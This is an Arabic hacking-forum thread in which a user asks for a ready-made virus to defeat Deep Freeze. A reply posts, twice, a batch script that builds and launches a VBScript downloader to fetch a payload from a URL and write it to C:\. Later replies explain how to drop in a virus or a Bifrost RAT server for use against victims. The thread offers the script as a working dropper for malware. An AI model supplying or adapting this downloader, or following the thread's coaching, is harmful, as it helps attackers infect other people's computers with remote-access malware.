قبل إضافة استفسارك ولكي لا يتعرض للحذف، أو ان تتعرض أنت للحظر، اقرأ قوانين قسم الإستفسارات
السلام عليكم اخوانى لن اطيل عليكم كل ما اريده كود لضرب الديب فريز او فايرس جاهز لضرب الديب فريز وجزاكم الله كل خيرر
رُبّم’ـاَ لاَ تَحصُلُ عَلَى’ مَ’ـاَ تُريـِدْ فَقطْ [لِاَنَّ اللهُ] اَرَادَ لَكْ الخَيرَ فِيـ’ـماَ اَرادْ [♥] جارى تعليم التشفير...........
كود PHP: @echo off set file="ضع هنا كود الفيرس او الباتش" set dlto="C:\" ::---------------- if exist %temp%\dl.vbs del /q %temp%\dl.vbs echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs echo strFile = myPath >> %temp%\dl.vbs echo Else >> %temp%\dl.vbs echo Exit Sub >> %temp%\dl.vbs echo End If >> %temp%\dl.vbs echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs echo objHTTP.Send >> %temp%\dl.vbs echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs echo Next >> %temp%\dl.vbs echo objFile.Close( ) >> %temp%\dl.vbs echo End Sub >> %temp%\dl.vbs start %temp%\dl.vbs مع العلم هذا الكود ليس من صنعى بل من صنع صديق لي بآلتوفيق
@echo off set file="ضع هنا كود الفيرس او الباتش" set dlto="C:\" ::---------------- if exist %temp%\dl.vbs del /q %temp%\dl.vbs echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs echo strFile = myPath >> %temp%\dl.vbs echo Else >> %temp%\dl.vbs echo Exit Sub >> %temp%\dl.vbs echo End If >> %temp%\dl.vbs echo Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) >> %temp%\dl.vbs echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs echo objHTTP.Send >> %temp%\dl.vbs echo For i = 1 To LenB( objHTTP.ResponseBody ) >> %temp%\dl.vbs echo objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) >> %temp%\dl.vbs echo Next >> %temp%\dl.vbs echo objFile.Close( ) >> %temp%\dl.vbs echo End Sub >> %temp%\dl.vbs start %temp%\dl.vbs
youtube [ما يلفظ من قول الا لديه رقيب عتيد] [ آفعل مآ شئت فكمآ تديُن تدآن ] عندما نقول لا شئ فهذا معناة ان الجرح قد اسكت كل شئ محرك بحث جيوش الهكزر hacker ▎security ▎no Breach>> [ mohamed -kareb ] [Aljyyosh.com] , [Aljyyosh.org] , [Aljyyosh.net] , [ASDELY.net]
جزاك الله خيرا اخى انت وصديقك ولاكن اخى كل الى اعلمه عن الفيروسات انى اخد الكود واضعه فى المفكرة تمام واحفظو بأمتداد bat تمام الحين انت كاتب فىاول الكود @echo off set file="ضع هنا كود الفيرس او الباتش" set dlto="C:\" ارجو الشرح - - - تم التحديث - - - جزاك الله خيرا اخى انت وصديقك ولاكن اخى كل الى اعلمه عن الفيروسات انى اخد الكود واضعه فى المفكرة تمام واحفظو بأمتداد bat تمام الحين انت كاتب فىاول الكود @echo off set file="ضع هنا كود الفيرس او الباتش" set dlto="C:\" ارجو الشرح
يعني اخي كل فايروس عنده كود خاص به يعني الي تم برمجته به انسخه و ضعه في المكان الي مكتوب عندك او اخي حمل فيروس جاهز من النت و شكرا - - - تم التحديث - - - يعني اخي كل فايروس عنده كود خاص به يعني الي تم برمجته به انسخه و ضعه في المكان الي مكتوب عندك او اخي حمل فيروس جاهز من النت و شكرا
-تعلم ان>>>>>تعامل الناس كما تحب ان تعامل -للاهمية >>>>>خطا ان تقبل معركة يمكن تفاديها
اخى héker لك منى كل الاحترام والتقدير اخى الكريم الكود اقدر اعمله لأكون سيرفر بس مش فاهم اول نقطه فى الكود محتاجه يفهمنى بس يقصد انى اعمل كدا فى المفكرة ولا فى ملفات الضحية.... فقط - - - تم التحديث - - - اخى héker لك منى كل الاحترام والتقدير اخى الكريم الكود اقدر اعمله لأكون سيرفر بس مش فاهم اول نقطه فى الكود محتاجه يفهمنى بس يقصد انى اعمل كدا فى المفكرة ولا فى ملفات الضحية.... فقط
هلا ياعزيزى قم بعمل ذلك فى المفكرة وبعد ذلك قم بنسخ كود البآتش ولا تسالنى كيف لانى ليس لدى اى خبرة فى اى برنامج اخترآق فانا منذ دخلت هذا المجال لا استعملهم
اخى اى باتش باتش البيفروست ام باتش الفايرس ؟. .... - - - تم التحديث - - - اخى اى باتش باتش البيفروست ام باتش الفايرس ؟. ....
السلام عليكم اخي انت تريد صنع فيروس ما دخل السيرفر انسخ كود الفيروس و ضعه في المكان المخصص له في الكود بعد نسخ الكود في المفكرة و اعمل حفض و شكرا - - - تم التحديث - - - السلام عليكم اخي انت تريد صنع فيروس ما دخل السيرفر انسخ كود الفيروس و ضعه في المكان المخصص له في الكود بعد نسخ الكود في المفكرة و اعمل حفض و شكرا
اخى هاكر ارجو التوضويح او الشرح انظر الان انا اخذت الكود ووضعته فى المفكرة واحفظها بأمتداد bat تمام لماذا تقول لى انسخ الكود واضعه فى المكان المخصص لهفى الكود هذا يعنى ان هناك كودين وليس كود واحد ارجو الشرح....
التعديل الأخير تم بواسطة Łї๑ή ๑ƒ Ģ๑Đ ; 11-14-2012 الساعة 02:57 AM
قوانين المنتدى